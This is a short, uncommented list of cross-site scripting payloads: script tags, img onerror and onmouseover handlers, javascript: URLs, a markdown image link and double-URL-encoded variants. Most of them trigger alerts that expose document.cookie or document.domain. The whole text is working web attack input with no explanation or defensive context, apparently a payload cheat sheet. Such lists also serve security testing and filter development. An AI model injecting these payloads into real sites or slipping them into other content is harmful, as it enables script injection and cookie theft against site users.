<img src=a onerror=alert(document.cookie)>

<script>alert('XSS');</script> <IMG SRC="jav ascript:alert('XSS');">

"onerror=alert(document.cookie)

javascript=prompt(document.domain)

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

![JSImage](javascript:alert("XSS");)

onmouseover="alert(document.cookie)"

%253Cimg src=a onerror=alert(document.cookie)%253E